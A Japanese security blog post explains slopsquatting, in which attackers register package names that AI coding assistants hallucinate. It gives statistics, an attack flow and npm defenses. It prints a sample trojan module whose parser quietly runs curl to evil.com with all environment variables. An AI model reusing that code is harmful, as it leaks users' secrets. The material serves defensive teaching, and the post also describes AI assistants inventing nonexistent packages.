AIセキュリティ 2025年8月9日

Slopsquatting攻撃:AIの幻覚を悪用する新手法

2025年、新しいサプライチェーン攻撃が注目を集めています。 **Slopsquatting(スロップスクワッティング)** AIが「存在しないパッケージ」を推奨し、攻撃者がそのパッケージ名を登録して悪意あるコードを配布する攻撃です。

川西智也

合同会社ロイヤルピース 代表

アンチパターン⑬「Slopsquatting」

AI開発ツールを狙う新種の脅威

2025年、新しいサプライチェーン攻撃が注目を集めています。

Slopsquatting(スロップスクワッティング)

AIが「存在しないパッケージ」を推奨し、攻撃者がそのパッケージ名を登録して悪意あるコードを配布する攻撃です。


【データで見る】衝撃的な統計数値

2025年3月の研究で、驚くべき数字が明らかになりました。

576,000のPython/JavaScriptコードサンプルを分析:

指標数値
存在しないパッケージを推奨約20%
ユニークな幻覚パッケージ名200,000以上
類似プロンプトで繰り返し出現43%
10回以上の実行で再現58%

AIは5回に1回、存在しないパッケージを推奨しています。


攻撃の仕組みと脆弱性のメカニズム

Slopsquattingの攻撃フローを見てみましょう。

1. 開発者がAIに「〇〇の機能を実装して」と依頼

2. AIが「package-xyz」をインストールするよう推奨
   (実際には存在しないパッケージ)

3. 攻撃者がnpm/PyPIで「package-xyz」を登録

4. 悪意あるコードを含むパッケージをアップロード

5. 開発者がAIの推奨通りにインストール
   $ npm install package-xyz

6. 攻撃者のコードが実行される
   - 機密情報の窃取
   - バックドアの設置
   - ランサムウェアの実行

AIが推奨する幻覚パッケージの分類

AIが生成する幻覚パッケージには、パターンがあります。

内訳:

カテゴリ割合
実際のパッケージに着想を得た名前38%react-hooks-utils(存在しない)
タイポによる名前13%reqeusts(requestsのタイポ)
完全に捏造された名前51%super-json-parser-pro

実例

典型的な幻覚コード:

// AIが生成したコード
const { parseAdvancedJson } = require('json-advanced-parser');
// ↑ このパッケージは存在しない

// Python
from nlp_utils_pro import TextProcessor
# ↑ このパッケージは存在しない

攻撃者の登録例:

// 攻撃者が登録した「json-advanced-parser」
module.exports = {
  parseAdvancedJson: function(data) {
    // 正常な機能を装う
    const parsed = JSON.parse(data);
    
    // 裏で悪意ある処理
    require('child_process').exec(
      `curl https://evil.com/steal?data=${JSON.stringify(process.env)}`
    );
    
    return parsed;
  }
};

なぜAIは存在しないパッケージを推奨するのか

AIが幻覚を起こす理由があります。

理由1: 統計的な予測

  • AIはパターンから「ありそうな名前」を生成
  • 実際の存在は確認していない

理由2: トレーニングデータの問題

  • 古いデータに含まれていたパッケージ
  • 名前が変わったパッケージ

理由3: 創造性

  • 「こういう名前がありそう」という推測
  • Temperature設定が高いと増加

実践的な解決策:Slopsquatting対策

Slopsquattingを防ぐための対策を解説します。

実践的な解決策1: パッケージの存在確認

# インストール前に存在を確認
npm info package-name

# または
npm view package-name

# 存在しない場合
npm ERR! code E404
npm ERR! 404 Not Found - GET https://registry.npmjs.org/package-name

実践的な解決策2: ロックファイルとハッシュ検証

# npm ci を使用(ロックファイルを厳密に使用)
npm ci

# package-lock.jsonをコミット
git add package-lock.json

実践的な解決策3: パッケージの信頼性確認

# ダウンロード数、最終更新、メンテナを確認
npm info express

# 結果例
# downloads: 30,000,000 weekly
# maintainers: express team
# last publish: 2 months ago

実践的な解決策4: 依存関係の監査

# 脆弱性のスキャン
npm audit

# 自動修正
npm audit fix

実践的な解決策5: AIのtemperature設定を下げる

# 幻覚を減らすためにtemperatureを下げる
response = openai.ChatCompletion.create(
    model="gpt-4",
    temperature=0.2,  # 低めに設定
    messages=[...]
)

組織での対策

チームや組織での対策も重要です。

プライベートレジストリ

# 社内パッケージレジストリの使用
npm config set registry https://npm.mycompany.com

承認リスト

// .npmrc で特定パッケージのみ許可
@mycompany:registry=https://npm.mycompany.com

依存関係のレビュー

  • 新しい依存関係の追加にはレビューを必須
  • パッケージの信頼性を確認
  • 最終更新日、ダウンロード数、メンテナを確認

実装前チェックリスト

Slopsquatting対策のチェックリストです。

パッケージ追加時:

  • npm info で存在を確認したか
  • ダウンロード数は十分か(少なすぎは危険)
  • 最終更新日は最近か
  • メンテナは信頼できるか
  • GitHubリポジトリは存在するか

CI/CD設定:

  • npm ci を使用しているか
  • package-lock.json をコミットしているか
  • npm audit を定期実行しているか

この事例から学ぶべき教訓と実践ポイント

「Slopsquatting」から学ぶべきことは以下の通りです。

  1. 20%が存在しないパッケージを推奨

    • AIは幻覚を起こす
  2. 200,000以上の幻覚パッケージ名

    • 攻撃者に悪用される可能性
  3. パッケージの存在確認が必須

    • npm info で確認
  4. ロックファイルを使用

    • npm ci で厳密にインストール
  5. 信頼性を確認

    • ダウンロード数、更新日、メンテナ

まとめ:重要ポイントの振り返り

  • AIの 20% が存在しないパッケージを推奨
  • 200,000以上 の幻覚パッケージ名
  • 攻撃者がパッケージ名を登録し 悪意あるコードを配布
  • 解決策:存在確認、ロックファイル、信頼性確認
  • npm infoインストール前に確認
  • npm ci厳密にインストール
  • 教訓:AIが推奨するパッケージを盲信するな

実践的なスキルを習得しませんか?

ブログで学んだ知識を、研修で実践に変えましょう。